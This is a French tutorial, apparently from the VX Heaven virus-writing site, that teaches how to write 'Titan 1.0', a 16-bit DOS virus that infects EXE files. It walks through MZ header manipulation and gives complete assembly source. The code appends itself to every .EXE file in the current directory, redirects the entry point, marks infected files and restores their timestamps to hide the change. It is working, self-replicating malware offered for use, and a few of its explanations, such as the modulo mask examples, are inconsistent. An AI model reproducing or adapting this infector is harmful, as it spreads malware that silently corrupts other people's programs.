Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Infecteur d'exe 16 bits

rikenar

[Back to index] [Comments]

1. Introduction

Voici donc le premier article d'une série, je l'espère où nous allons voir le fonctionnement et la programmation d'infecteur de fichiers exécutables fonctionnant sous environnement win32 ou dos. Dans cette première partie, nous allons nous intéresser plus particulièrement au fichier 16 bits. Notre but étant de créer un exécutable qui pourra se reproduire dans tous les fichiers présent dans le répertoire. Si vous souhaitez vous renseigner un peu plus sur ce sujet, je peux vous conseiller quelques articles qui sont assez intéressant, qui se trouve dans le zine de Tipiax, dans rtc et dans le mag de ioc. Je vous conseille aussi les 2 guides de Billy Belcebu en anglais qui sont indispensables si vous souhaitez vous mettre assez sérieusement aux infecteur.

Pour ce qui est du langage utilisé, on va bien sûr coder en 100% asm, je vous recommende donc de vous procurer un table de toutes les interruptions, il faut aussi que vous ayez un minimum de base dans ce langage pour pouvoir suivre correctement. Aussi dans ce premier article, je ne parlerai que des fichiers exe 16 bits qui fonctionnent sous dos, ce sujet ne traitera en aucun cas des exécutables qui appartiennent à un environnement win32. Nous pouvons commencer.

2. Programmation

A. Mode de fonctionnement du virus

Avant de commencer, je vais expliquer ce que devra faire le programme que nous allons coder. Un infecteur, généralement doit essayer de se copier son code à la fin de tous les fichiers (pour nous ce sera ceux du répertoire) sans que l' utilisateur lambda ne s'en apercoive, mais aussi sans que le programme hôte ne soit altéré. Donc après, l'infection tous les programmes doivent fonctionner comme auparavant mais avec un petit changement qui est d' executer le code du virus en 1er avant de redonner la main au programme hôte. Je vais faire un exemple tout simple pour mieux comprendre:

Et c'est là, que je veux préciser quelquechose à ceux qui lisent ces lignes, c'est à dire à ceux qui débutent dans le monde des virus, il faut que vous compreniez que l' interet du virus n'est pas celui que la plupart des gens pensent, c'est à dire de détruire les données et de crasher l' ordinateur, il ne faut pas croire tout ce qu'on entend et tout ce que disent ces compagnies d' antivirus qui ne cherchent comme toujours qu' à se faire de l' argent. Le but d'un virus est d'essayer de se reproduire le plus possible dans les fichiers qui lui sont offert, donc si vous avez lu ces lignes dans l' espoir de trouver un moyen de planter l'ordinateur de qqun pour je ne sais quels raisons, vous pouvez vite arrêter de lire.

Nous voilà donc reparti, le but de notre programme va être:

B. Caractéristiques des fichiers 16 bits (l'header et autres)

Dans chaque fichiers exe 16 bits, on peut aprecevoir au début de ceux ci une en-tête(ou header) qui est nécessaire au bon fonctionnement du fichier. Pour que notre virus fonctionne correctement, il va falloir que vous compreniez bien les différents champs de l' header, en effet l' ajout de notre virus à la fin de celui ci va modifier certains champs de cette en-tête. Voyons voir maintenant, un descriptif de cette header:

Offset NomDescription
-> 00hExe maskChamps qui ns dit si l'on est ds un exe = MZ
-> 02h (b)Taille de la dernière pageTaille de la dernière pages en bytes
-> 04h (P)Nb total de pagesNb total de pages(= 512 bytes)qu'occupe le fichier
06hRelocationsNb d' entrées dans la table de relocation
-> 08h (p)Taille de l'headerTaille de l'en tête en paragraphe(= 16 bytes).
0ah (p)Allocation miniMémoire minimum requise (en paragraphes)
0ch (p)Allocation maxiMémoire maximum requise (en paragraphes)
-> 0eh (p)Prerelocation SSOffset initial de SS depuis l' header
-> 10h (b)Stack pointer initialOffset initial de SP depuis SS
-> 12hChecksumIntéressant pour placer la marque d' infection
-> 14h (b)Ip initial1er Ip à exécuter
-> 16h (p)Cs initialCs initial du programme
18hAdresse table relocationOffset de la table de relocation depuis le fichier
1ahOverlay numberRien d' intéressant
1chReserve 

Les champs intéressants sont marqués d'un '->'. Aussi pour mieux comprendre, dans la colonne offset:

Il faut que vous compreniez cette en-tête pour ensuite bien connaitre le fonctionnement du virus, en effet là on joue plus avec les com, ici l'ajout du virus va devoir nous faire modifier qq données de l'en-tête pour que le fichier sain puisse refonctionner correctement une fois infecté. Je vais expliquer plus en détails désormais les champs que j'ai marqués comme étant important, car ceux là vont être modifié par l'ajout du virus à la fin du fichier, vous verrez que si vous avez quelques bases en assembleur, vous comprendrez assez facilement:

Exe mask (offset 00)
c'est ici que l'on va pouvoir tester si le fichier que l'on veut infecter est bien un exe. Si c'en est un, on trouve à cette offset de l' header le marquage:MZ, cela nous servira lorque l'infecteur voudra vérifier le fichier à infecter.
Taille de la dernière page (offset 02) et Nb total de pages (offset 04)
il faut savoir que avec les exe 16 bits, leur taille peut etre donné par les champs 02 et 04 de l'header. A l'offset 04, on trouve le nombre total de pages(qui est égal à 512 bytes) que le fichier posséde, et l'offset 02 la taille en bytes de la dernière page. Je vais faire un exemple pour vous expliquer, ce sera plus facile:

Metons qu'on est un fichier qui fait 600 bytes, alors on aura à l'offset 04 le nb de pages de 512 bytes, c'est à dire 2 pour ce cas là. Et à l'offset 02, on aura la taille en bytes de la dernière page, c'est à dire 88. Si l'on veut retrouver la taille du fichier, on a qu'à faire: (2 - 1) * 512 + 88 = 600 bytes. Voilà pour ce qui est de ces adresses.

Taille de l'header (offset 08)
Ce champs calculé en paragraphes désigne la taille que répresente l' en-tête du fichier, on ne modifiera rien à cette adresse mais cela nous servira lorsqu'on voudra faire pointer la première instruction du programme (après infection) sur le code du virus.
Prerelocation SS (offset 0e)
Ici, on trouve le déplacement qu'il faut effectuer à partir de la fin de l'header pour atteindre la stack segment (SS), cette valeur est aussi calculé en paragraphes.
Stack pointer initial (offset 10)
On trouve ici, encore le déplacement relatif qu'il y a du stack segment au stack pointer. Nous modifierons ce champs est pour éviter que le données et le code viennent écraser la pile, il faut choisir à cette endroit une valeur assez grande.
Checksum
Ce champs n'a pas une utilité primordiale, et nous servira à marquer notre signature suite à l'infection, ce qui nous permettra de ne pas infecter un fichier qui l'est déja.
Ip initial (offset 14) et Cs initial (offset 16)
ces deux champs sont très important car il contiennent à eux 2, la première instruction qui va être éxécuté par le programme qui sera de la forme Cs(initial) : Ip(initial) et qui bien entendu devra pointer sur notre virus. Pour être plus précis, les valeurs sont calculé à partir de la fin de l'header du programme.

Voilà pour ce qui est de principaux champs de l'header qui sont utiles pour que l'infection soit réussi. Si vous n'avez pas tout compris (parce que c'est mal expliqué :)), ne vous en faites pas, ce sera reexpliqué lors du moment où on parlera un peu plus programmation et vous verrez que dès que vous aurait bien compris le fonctionnement de l'header, le code sera très facile à comprendre.

C. Programmation étapes par étapes

1. Déroulement de l'infection

Bon, ca y est, on va commencer à parler un peu plus pratique et on va pouvoir passer au côté programmation. Mais avant, on va détailler toutes les étapes qu'il va falloir pour que l'infecteur fonctionne parfaitement. Et c'est là que vous devait tout bien comprendre, en effet si vous avez compris parfaitement le processus d'infection de notre virus, et que vous avez de bonnes bases en asm, le code deviendra alors assez facile. Parce que je peux vous dire que si moi, j'y suis arrivé, tout le monde le peut si il se donne la peine de réfléchir.

Passons à l'algorithme de notre programme maintenant.

  1. On calcule en premier le delta offset qui est le décalage que le virus à provoqué après s'être écrit dans le fichier.
  2. Tout d'abord, on ouvre le fichier à l'aide de la table Dta et on ouvre que les fichiers qui portent l'extension *.exe.
  3. On sauvegarde l'heure de dernière modification du fichier hôte.
  4. On vérifie qu'il s'agit bien d'un fichier exe par l'intermédiaire du premier champs de l'header du fichier (MZ).
  5. On teste si le fichier à déjà était infecté à l'aide de la signature que nous aurions écrits à l'offset 12 de l'header.
  6. On garde en mémoire les champs les plus importants de l'header qui vont nous servir, c'est à dire les champs aux offsets 0eh, 10h, 14h et 16h.
  7. On se place à la fin du fichier.
  8. On calcule les nouveaux champs de l'header et plus particulièrement ceux aux offsets 14 et 16 qui devront bien naturellement pointé sur le premiére instruction de notre virus qui a été copié dans le fichier.
  9. On recalcule la nouvelle taille du fichier après infection et on place les nouvelles valeurs aux adresses 02 et 04 de l'header du fichier.
  10. On écrit le virus à la fin du fichier.
  11. On se place au début et on écrit la nouvelle en-tête.
  12. On restaure la dernière date de modification que l'avait sauvegarder plus haut.
  13. Et enfin on rend la main au fichier hôte sans que l'utilisateur ne s'aprecoivent de quelquechose.

Je vais détailler chaque étapes le plus possible en essayant de ne pas omettre de détails.

2. Programmation

On va commencer par ce qui est caractéristiques de tous les virus qu'ils fonctionnent sous dos ou sous windows, je parle donc ici du delta offset. On pourrait le définir comme étant le décalage que le virus à crée en allant s'écrire à la fin du fichier. Et voilà le code illustrant cette partie:

debut:
        call    delta                   ; <-l'offset de delta est pushé sur la pile
delta:
        pop     bp                      ; <-pop bp permet de récupérer dans bp, ip
                                        ; qui a été pushé à cause du call
        sub     bp, offset delta        ; <-on enleve à bp, l'offset de delta qui
                                        ; a été trouvé lors de la compilation    
 

Voyons voir un exemple, vous verrez que cela deviendra beaucoup plus facile aprés, ici le 1er cas représente le virus lui même et le 2ème nous montre un fichier après infection.

               Virus                               Fichier infecté

111C:0106   call 0109   -> ip = 109.        112D:0200   call 0203   -> ip = 0203.
111C:0109   pop bp      -> bp = 109.        112D:0203   pop bp      -> bp = 0203. 
111C:010A   sub bp, 109 -> bp = 0.          112D:0204   sub bp, 109 -> bp = 203h - 109h = FA.

On voit donc assez bien que dans le virus, bp c'est à dire le delta offset est nul ce qui est normal vu que le virus est l'infecteur d'origine. En revanche dans le fichier infecté, le delta offset est 'FA', qui est donc le décalage qui nous servira tant par la suite et qui représente le déplacement par rapport au fichier. Ce mécanisme du delta offset existe dans tous les virus je crois.

Ensuite, après avoir calculer le delta offset, nous allons devoir restaurer l'ancien Ip placé dans ip_old pour le mettre dans ip_new, on effectue cela par l'aide movsw qui copie la chaine qui est dans si (source index) dans di (destination index)

ip:
        lea     di, [ip_new + bp]
        lea     si, [ip_old + bp]
        movsw
        movsw
        movsw
        movsw
 

Maintenant, il faut définir une nouvelle adresse de la table dta qui va nous permettre de pouvoir lister tous les fichiers du répertoire avant de les infecter, pour cela on utilise la fonction 1ah de l'interruption 21h. Il faut savoir que dans la table Dta, il y a beaucoup de paramètres qui sont très utiles pour l'infection d'un fichier. Parmi les principaux champs, on trouve à l'offset 1eh le nom du fichier. Donc pour modifier l'adresse de la nouvelle dta, il faut:

mtda:
        mov     ah, 1ah
        lea     dx, [bp + offset new_dta]
        int     21h

        mov     ah, 4eh
        lea     dx, [bp + exe_mask]     ; exe_mask -> *.exe
        sub     cx, cx                  ; cx = 0.
search:
        int     21h
        jc      end
 

On va ainsi modifier l'adresse de la nouvelle Dta avec ce qui se trouve à l'adresse de new_dta. Après, on va lire avec la fonction 4eh la première entrée du répertoire qui aura un nom de fichier de type: *.exe, c'est à dire on va lire tous les fichiers exe. On appelle l'interruption et si il y a un problème, on se casse.

Seulement, ensuite on va pouvoir ouvrir le fichier, on pourra donc effectuer des changements dessus. Pour cela rien de difficile, voici la syntaxe de la fonction que l'on va utiliser:

Fonction 3d:
Permet d'ouvrir un fichier existant.

ah ->	3dh
al ->	on place ici le mode d'accés
	ici 02 permet au fichier d' être lu et écrit.
dx ->	offset du nom du fichier à ouvrir.
Et en retour de l'execution de la fonction, on choppe en ax l'handle du
fichier qui nous servira pour tout le reste du code, lorsqu'on voudra
effectuer des opérations sur un fichier.

Ce qui donne:

        mov     ah, 3dh
        mov     al, 02h
        lea     dx, [bp+new_dta+1eh]    ; à l'offset 1eh de la table dta, on a le nom du fichier
        int     21h

        mov     bx, ax
        mov     ax, 5700h               ; on lit la date de dernière modification du fichier
        int     21h
        push    cx                      ; on sauvegarde pour faire plus discret
        push    dx
 

Voilà, jusque ici rien de bien compliqué. Mais maintenant, nous allons attaquer à l'header du fichier, à la sauvegarde de celui ci, mais aussi à la modification. Pour cela nous allons, nous allons lire les premiers 1ah octets de l'header à l'aide la fonction 3fh. Nous allons aussi vérifier que nous avons bien sous les mains un fichier exe en comparant le premier champs de l'entête à 'ZM', on vérifie aussi que la fichier n'a pas déja été infecté, et ceci grâce à la signature que l'on aura écrite à l'offset 12h de l'header.

Fonction 3f:
Cette fonction permet de lire un nombre défini de caractères dans un fichier
que l'on vient d'ouvrir.

ax -> 3fh
bx -> handle du fichier
cx -> nombre d'octets à lire
dx -> offset du buffer où l'on va placer les caractères lus.

Et voici le code.

        mov     ah, 3fh
        mov     cx, 1ah                 ; lit les 1ah premiers caractères de l'header
        lea     dx, [bp + offset buffer_header]
                                        ; les place dans buffer_header
        int     21h

        cmp     word ptr [bp+buffer_header], 'ZM'
                                        ; compare le premier champs avec 'ZM' pour voir si  
        jne     close                   ; on est dans le bon fichier. Sinon on se casse.

        cmp     word ptr [bp+buffer_header + 12], 'T'
                                        ; vérifie si le fichier est déjà infecté
        je      close                   ; sinon on se barre
 

Voilà, maintenant, on va pouvoir commencé l'infection du fichier. En premier, il va falloir sauvegarder les principaux champs de l'en-tête pour pouvoir les manipuler par la suite, on fera ceci avec le call save_header. En deuxième, on va modifier les offsets 0eh, 10h, 12h, 14h et 16h. Et en dernier, on va recalculer la taille du fichier. Ces 3 étapes étant selon les plus difficiles à comprendre, je les expliquerai plus tard.

Entre cela, vous remarquerez que l'on a dépalcé le pointeur de fichier à la fin de celui ci.

        call    save_header             ; on sauvegarde l'header d'origine

        mov     ah, 42h                 ; fonction 42h -> déplace le pointeur de fichier
        mov     al, 02h                 ; al = 02h -> on le déplace à la fin
        xor     cx, cx
        xor     dx, dx
        int     21h

        call    new_csip                ; on change certains champs de l'header
        call    new_size                ; et on calcule la nouvelle taille après infection
 

Donc, après avoir fait tout ceci, et ayant calculer les nouveaux champs de l'header, nous allons devoir bien entendu écrire le virus. Notez que l'on écrira celui ci à la fin du fichier et cela en premier. Et en deuxième, on va réecrire la nouvelle en-têtes que l'on viendra de calculer. Voici le descriptif des fonctions utilisés:

Fonction 40h
Cette fonction écrit un nombre de caractères dans le fichier que l'on aura
spécifier à l'endroit où sera placé le pointeur du fichier.

ah -> 40h
bx -> handle du fichier
cx -> nombre d'octets à écrire dans le fichier
dx -> à partir de quel adresse on écrit.
        mov     ah, 40h
        pop     bx                      ; handle du fichier
        mov     cx, fin - debut         ; taille du fichier
        lea     dx, [bp + debut]        ; on écrit à partir de debut
        int     21h

        mov     ah, 42h
        mov     al, 00h                 ; on se place au début du fichier pour écrire la  
        xor     cx, cx                  ; nouvelle header
        xor     dx, dx
        int     21h

        mov     ah, 40h                 ; on écrit
        mov     cx, 1ah                 ; les 1ah octets de l'entete que l'on vient de calculer
        lea     dx, [bp + buffer_header]; et qui stocké à partir de l'adresse de buffer_header
        int     21h

close:
        pop     bx                      ; on pop le bx pushé avant

close2:

        pop     dx                      ; on pop la date et l'heure de la dernière modification
        pop     cx                      ; du fichier que l'on avait sauvegardé au début
        mov     ax, 5701h               ; et on définit la date
        int     21h

        mov     ah, 3eh
        int     21h                     ; on ferme le fichier qui est désormais infecté  

        mov     ah, 4fh                 ; et on lit la prochaine entrée du répertoire
        jmp     search                  ; on recommence la nouvelle recherche
 

Voilà, après toutes ces étapes nous avons tous les fichiers de notre répertoire qui sont désormais infecté. Mais pour rester le plus discret possible au yeux de l'utilisateur, le virus doit redonner la main au fichier hôte comme si rien ne s'était passé. Pour cela, il va falloir effectué un saut à la première instruction du fichier hôte, ainsi ce fichier pourra après avoir exécuté le code du virus exécuté le sien, et tout fonctionnera comme si aucun fichier n'vait été infecté. Et ce passage est assez difficile à comprendre, c'est pour ça que j'essairai de bien le détailler.

Tout d'abord, nous avons que tout à l'heure nous avons modifié l'adresse la dta, or normalement l'adresse de la table dta est déjà initilialisé, c'est pour cela que nous allons la restaurer, ainsi l'adresse de la dta ne sera pas modifié. Voici les quelques lignes de code:

end:
        pop     ds                      ; on pop ce que l'on avait pushé au tout début du programme
        mov     dx,80                   ; nouvelle adresse d'offset de la table dta
        mov     ah,1a                   ; et on définit la nouvelle adresse
        int     21
 

Bon, maintenant attaquons une chose assez difficile à comprendre. Je parle bien sûr du moment où nous allons rendre la main au programme hôte. Cette étape est extrêmement importante, sans cela tous les programmes infectés planterait; le virus ne serait donc pas très discret. Ce qui faut comprendre, ce que avec cette procédure, nous allons créer un jmp qui va pointait sur la première instruction du programme hôte avant infection.

Mais avant tout cela, je vais d'abord un peu expliqué comment est organisé la mémoire pour les fichiers exe 16 bits. Il faut savoir que lorsque un fichier exe est chargé en mémoire, il est ajouté à sa base un petite structure que l'on appelle Psp (program segment prefix), et que cette structure a une taille de 256 octets, on en déduit donc que le Psp va se trouver dans la mémoire à cs-10h (car 10h*10h=256) si on admet que cs pointe au début de notre code. De plus les segments ds et es pointent tout deux sur Psp.

Voici un shéma qui devrait un peu mieux vous expliqué:

                              Structure d'un fichier en mémoire

                                    +----------------+            
                                    |      Stack     |
                                    |                |
                                    +----------------+
                                    |     Données    |
                                    |                |
                                    +----------------+
                                    |      Code      |
                                    |                |
                                    +----------------+  ->  cs:0000
                                    |       PSP      |
                                    |                |
                                    +----------------+  ->  cs-10h:0000

Regardond le code de cette partie:

        push    ds
        pop     es                      ; ds = es
        mov     ax,es                   ; ax = es = ds , ax pointe sur le psp
        add     ax,10                   ; ax = ax + 10 , maintenant ax pointe sur cs
        add     word ptr cs:[cs_new+bp],ax
                                        ; on ajoute le décalage relatif à partir de l'header
                                     
        cli
        add     ax,word ptr cs:[bp+ss_new]
        mov     ss,ax                   ; on ajoute es + 10 à ss
        mov     sp,word ptr cs:[bp+sp_new]
        sti

        db      0ea                     ; jmp far vers le début du prog
ip_new  dw      0                       ; ce qui donne jmp cs:ip avec cs:ip qui pointent
cs_new  dw      0                       ; sur notre code
sp_new  dw      0
ss_new  dw      0

ip_old  dw      0
cs_old  dw      0fff0          
sp_old  dw      0              
ss_old  dw      0fff0        
 

Petite explication, nous savons que es pointe sur le psp, donc es+10 pointe sur cs; or nous savons que cs_new représente le décalage relatif de la fin de l"header par rapport à l'entry point donc pour avoir la vrai adresse du programme en mémoire, il nous faut ajouter l'adresse du code du programme en mémoire. De cette façon, nous pouvons désormais effectuer un saut vers le Entry point de notre programme avant infection. Si vous ne comprenez pas tout ce que je dit, je vous conseille de tracer le code de l'infecteur pas à pas avec softice et d'analyser l'évoltion des différents registres, ca vous aidera beaucoup. Voilà, on a donc bien rendu la main au programme hôte.

Regardons désormais, les différentes fonctions que je n'ai pas encore expliqué et qui sont très importantes car elles permettent chacune de pouvoir modifier convenablement l'header du fichier pour que le fichier qui sera infecté ne soit pas corrompus et puisse fonctionne comme avant. Tout d'abord nous allons voir le call save_header qui ne fait rien de bien compliqué, en effet il se contente de sauvegarder les principaux champs de l'header qui sont les champs 0eh, 10h, 14h et 16h chacun contenant respectivement l'offset initial de Ss depuis la fin de l'header, l'offset initial de Sp depuis Ss, l' Ip initial et enfin le Cs initial. Le champs 14h et 16h permettent donc de connaitre la première instruction qui sera exécuté lorsque l'on lancera l'executable.

save_header:
        mov     ax,word ptr [bp+buffer_header+0Eh]
                                        ; sauvegarde ce qui se trouve à l'offset 0eh de
        mov     word ptr [bp+ss_old],ax ; de l'header dans ss_old.
        mov     ax,word ptr [bp+buffer_header+10]
                                        ; sauvegarde ce qui se trouve à l'offset 10h de
        mov     word ptr [bp+sp_old],ax ; de l'header dans sp_old.
        mov     ax,word ptr [bp+buffer_header+14]
                                        ; sauvegarde ce qui se trouve à l'offset 14h de
        mov     word ptr [bp+ip_old],ax ; de l'header dans ip_old.
        mov     ax,word ptr [bp+buffer_header+16]
                                        ; sauvegarde ce qui se trouve à l'offset 16h de
        mov     word ptr [bp+cs_old],ax ; de l'header dans cs_old.
        ret
 

Il n'y a donc rien de compliqué de coté là, en revanche maintenant, nous allons attaquer une partie moins facile. Ici, on va modifier les champs de l'entête qui doivent être modifié pour que le fichier fonctionne. Dans ce call, nous allons modifié 5 champs, je vais commencé par vous expliquer les moins compliqué.

Tout d'abord, il va falloir que lorsque on infecte un fichier, on ne le réinfecte pas 2 fois, pour cela on va mettre un signature dans l'header qui va nous permettre de vérifier si le fichier est déjà infecté ou pas. Pour cela, nous allons utilisé un champs de l'header qui est inutilisé, c'est à dire celui qui se trouve à l'offset 12h. Voici donc la ligne de code qui fait ceci:

mov     word ptr [bp+buffer_header+12h], 'T'.

Nous savons aussi que à l'offset 10h de l'header se trouve le déplacement qu'il y a à partir de Ss pour atteindre Sp. On va donc mettre à cette adresse un valeur suffisemment grande qui nous assurerait que la pile ne débordera jamais sur le code (ce qui serai pas très bon), moi je mettrai la valeur 0fffeh mais sachez que vous pouvez à cette emplacement une autre valeur (mais qui devra être suffisemment grande). Cela se fait avec:

mov     word ptr [bp+buffer_header+10h],0FFFE.

Voilà, nous avons fini avec 2 champs, il nous reste les autres à modifier. En plus ce sont eux les plus important car les offsets 14h et 16h sont capitals pour le bon fonctionnement du virus. En effet, nous voulons que quand le virus a infecté un fichier, ce soit le code du virus qui soit executer en premier et non le code du programme qui était exécuté en premier avant l'infection. Cette partie est donc très importante.

Tout d'abord, nous savons que les champs 14h et 16h de l'entete calcule le décalage à partir de la fin de l'header, il va donc falloir connaitre la taille de celle-ci. Nous avons de la chance, cette taille est donnée à l'offset 08h de l'header mais elle est donnée en paragraphes, il va donc falloir convertir en bytes ( 1 paragraphe = 16 bytes), il va donc falloir multiplier la taille de l'header en paragraphes par 16 par l'avoir en bytes. 16 étant un multiple de 2, on pourra utiliser l'instruction shl. Nous avons donc désormais la taille de l'header en bytes.

Juste avant d'appeler ce call, nous avons à l'aide de la fonction 42h de l'interruption 21h déplacer le pointeur de fichier vers la fin de celui ci. Or en retour de cette fonction, nous avons en dx et en ax, la taille du fichier où dx représente le mot de poids fort et en ax le mot de poids faible. Par exmple si le fichier fait 70000 bytes de taille, on aura dans dx : 1 et dans ax : 1170. Il va donc falloir que l'on s'occupe bien à la fois de ax et dx pour que il n'y est pas de problème. On va alors soustraire la taille de l'header à la taille du fichier avant infection; sachant que l'infecteur irra se greffer à la fin du fichier, on aura alors le déplacement qu'il y a de la fin de l'header au début de l'infecteur.

De plus, nous savons que la mémoire est organisé de telle manière que chaque adresse peut être représenté de la façon segment:offset et que on peut avoir la vrai adresse de quelquechose en faisant : segment * 16 + offset. Un vrai adresse peut donc être représenté de différentes façons. Revenons en à notre infecteur, sachant que l'on doit ranger à l'offset 16h le Cs initial du programme et à l'offset 14h le Ip initial, et tous deux étant calculés à partir de la fin de l'header. On en déduit que en divisant par 16 (10 en hexa) le déplacement qu'il y a de la fin de l'header au début de l'infecteur, on aura alors en ax le nouveau Cs et en dx le nouveau Ip. Aussi il faut savoir que les champs qui se trouvent à l'offset 0eh (Ss) et à l'offset 16h (Cs) doivent avoir la même valeur. Et voici le code:

new_csip:
        mov     bx, word ptr [bp+buffer_header+8]
                                        ; taille de l'header en paragraphes
        mov     cl, 0004h
        shl     bx, cl                  ; bx = taille de l'header en bytes
        sub     ax, bx                  ; ax = ax - taille de l'header
        sbb     dx, 0000h               ; soustraction avec retenue
        mov     cx, 0010h               ; on divise par 10h (16 en décimal)
        div     cx
        mov     word ptr [bp+buffer_header+0Eh], ax
                                        ; nouveau Ss
        mov     word ptr [bp+buffer_header+14h], dx
                                        ; nouveau Ip
        mov     word ptr [bp+buffer_header+12h], 'T'
                                        ; signature
        mov     word ptr [bp+buffer_header+16h], ax
                                        ; nouveau Cs
        mov     word ptr [bp+buffer_header+10h],0FFFE      
        ret
 

C'est fini pour cette partie de la programmation du virus. On est presque à la fin, il ne nous reste plus que le calcul des champs 02h et 04h de l'entête, ce qui n'est pas une partie insurmontable.

Nous avons vu déjà au début comment fonctionnait ces 2 champs, je vais refaire un exemple pour que vous compreniez bien. Metons un fichier qui 1200 bytes, alors on aura à l'offset 2 de l'header la taille de la dernière page, c'est à dire 176 et à l'offset 4, on aura le nombre de pages, ici on a 3.

    1ere        2eme    3eme
***********|***********|****
 512 bytes   512 bytes   176 bytes

Voilà, ce shéma resume un peu ce qui se passe. Vous aurez peut etre compris comment on va faire pour recalculer le champs. En fait, on va s'aider bien entendu de la taille de notre virus que l'on pourra calculer à l'aide du label de début et du label de fin, pour nous ca donnerra: mov ax, fin - debut, ce qui mettra dans ax la taille de notre virus. Tout va commencé à partir de là, ensuite on divise ax par 512 (200 en hexadécimal), on aura donc à la suite de cette division en ax le nombre de page à ajouter à l'offset 4 de l'header et en dx le reste de la division à ajouter à l'offset 2 de l'entete. Or nous savons que à l'offset 2 de l'header se trouve la taille en bytes de la dernière page, donc il faut que ce nombre soit inférieur à la taille d'un page, c'est à dire 512 bytes,si c'est le cas, on a fini. En revanche si ce nombre est supérieur, il va falloir tout d'abord incréménter le nombre de pages que l'on trouve à l'offset 4 et en dernier truc il va falloir calculer le modulo[512] par rapport à ceux que on a en à l'offset 2 de l'header. Je vais faire avant un petit rappel sur les modulo et sur comment les calculer en assembleur.

Je vais vous mettre un exemple, je pense que ca suffira à comprendre:

600 modulo 512 est égale à 88.

1300 modulo 512 est égale à 276.

En fait, le modulo permet de calculer le reste de la division par 512 (dans ce cas). En assembleur, pour les puissances de 2, le modulo d'un nombre peut se cacluler par l'instruction and en choisissant comme deuxième opérande, le nombre qui est directement inférieur à 512 pour nous c'est à dire 511. Donc, nous on aura qu'à faire un petit:

and     word ptr [bp+buffer_header+02],512d.

Je vais encore faire un exemple en utilisant un and pour trouver le modulo: On sait que par 13 modulo 4 est égale à 1. Maintenant représentons ces nombres en binaires

13 -> 00001101

Et vu que l'on veut calculer le modulo de 13 par rapport à 4, notre 2eme opérande sera donc 4-1, c'est à dire 3.

3 -> 00000011

Aussi avec un and les différentes combinaisons sont:

0 and 0 = 0.
0 and 1 = 0.
1 and 0 = 0.
1 and 1 = 1.

Maintenant regardons cela de plus près.

                       00001101
                   and 00000111
                   ------------
                       00000001        

On retrouve donc bien 1 en résultant, mais rappelez vous bien que cela ne fonctionne que lorsque l'on veut calculer le modulo de puissance de 2. Et le code:

new_size:
        xor     dx, dx
        mov     ax, fin - debut         ; ax = taille du virus
        mov     bx, 200h                ; 200h = 512d
        div     bx                      ; divise ax par 512
        add     word ptr [bp+buffer_header+04],ax
                                        ; ajoute le quotient de la division au nb de pages
        add     word ptr [bp+buffer_header+02],dx
                                        ; ajoute le reste de la division  
        mov     dx, word ptr [bp+buffer_header+02]
        cmp     dx,200h                 ; compare dx avec 512
        jb      ttvabien                ; si inférieur on saute
        and     word ptr [bp+buffer_header+02],1FFh
                                        ; on calcule le modulo (1ffh = 512d)
        inc     word ptr [bp+buffer_header+04]
                                        ; on incrémente le nombre de pages

ttvabien:
        ret                             ; on se casse
 

Voilà, on en a finit avec l'explication de l'infecteur en entier. Et désormais le code source.

3. Code source

;Titan 1.0 par rikenar
;Titan est qqchose de si délicieux à fumer :-)).
;A pure titan
;Titan est un exe infecteur de fichier 16 bits fonctionnant sous windows qui a pour fonction d'
;infecter tous les fichiers du répertoire courant.


.model tiny
.radix 16
.code

org 100h

debut:  

push    ds                      
push    cs cs                
pop     es ds  

call delta

delta:
pop bp
sub bp, offset delta


ip:
lea di, [ip_new + bp]
lea si, [ip_old + bp]
        movsw
        movsw
        movsw
        movsw

mtda:
mov ah, 1ah
lea dx, [bp + offset new_dta]
int 21h

mov ah, 4eh
lea dx, [bp + exe_mask]
sub cx, cx


search:
int 21h
jc end
mov ah, 3dh
mov al, 02h
lea dx, [bp+new_dta+1eh]
int 21h

mov bx, ax
mov ax, 5700h
int 21h
push cx
push dx


push bx
mov ah, 3fh
mov cx, 1ah
lea dx, [bp + offset buffer_header]
int 21h


cmp word ptr [bp+buffer_header], 'ZM'
jne close

cmp word ptr [bp+buffer_header + 12], 'T'
je close

call save_header

mov ah, 42h
mov al, 02h
xor cx, cx
xor dx, dx
int 21h

call new_csip
call new_size

mov ah, 40h
pop bx
mov cx, fin - debut
lea dx, [bp + debut]
int 21h

mov ah, 42h
mov al, 00h
xor cx, cx
xor dx, dx
int 21h

mov ah, 40h
mov cx, 1ah
lea dx, [bp + buffer_header]
int 21h

jmp close2

close:
pop bx

close2:

pop dx
pop cx
mov ax, 5701h
int 21h

mov ah, 3eh
int 21h

mov ah, 4fh
jmp  search

end:
pop  ds

mov  dx,80
mov  ah,1a
int  21

push    ds            
pop     es
mov     ax,es
add     ax,10          
add     word ptr cs:[cs_new+bp],ax
                                     
cli
add     ax,word ptr cs:[bp+ss_new]
mov     ss,ax                      
mov     sp,word ptr cs:[bp+sp_new]
sti

db      0ea    
ip_new        dw      0
cs_new        dw      0
sp_new        dw      0
ss_new        dw      0


ip_old  dw      0
cs_old  dw      0fff0          
sp_old  dw      0              
ss_old  dw      0fff0        



save_header:
mov  ax,word ptr [bp+buffer_header+0Eh]
mov  word ptr [bp+ss_old],ax
mov  ax,word ptr [bp+buffer_header+10]
mov  word ptr [bp+sp_old],ax
mov  ax,word ptr [bp+buffer_header+14]
mov  word ptr [bp+ip_old],ax
mov  ax,word ptr [bp+buffer_header+16]
mov  word ptr [bp+cs_old],ax
ret


new_csip:


mov     bx, word ptr [bp+buffer_header+8]
mov     cl, 0004h
shl     bx, cl              
sub     ax, bx                
sbb     dx, 0000h          
mov     cx, 0010h
div     cx            
mov     word ptr [bp+buffer_header+0Eh], ax
mov     word ptr [bp+buffer_header+14h], dx
mov     word ptr [bp+buffer_header+12h], 'T'
mov     word ptr [bp+buffer_header+16h], ax
mov     word ptr [bp+buffer_header+10h],0FFFE
ret
     


new_size:
xor dx, dx
mov ax, fin - debut
mov bx, 200h
div bx
add  word ptr [bp+buffer_header+04],ax
add  word ptr [bp+buffer_header+02],dx
mov  dx, word ptr [bp+buffer_header+02]
cmp  dx,200h
jb ttvabien
and  word ptr [bp+buffer_header+02],1FFh
inc  word ptr [bp+buffer_header+04]

ttvabien:
ret



exe_mask        db     '*.EXE',0
fin:

buffer_header   db      1a dup (?)
new_dta:

end debut
 

4. Conclusion

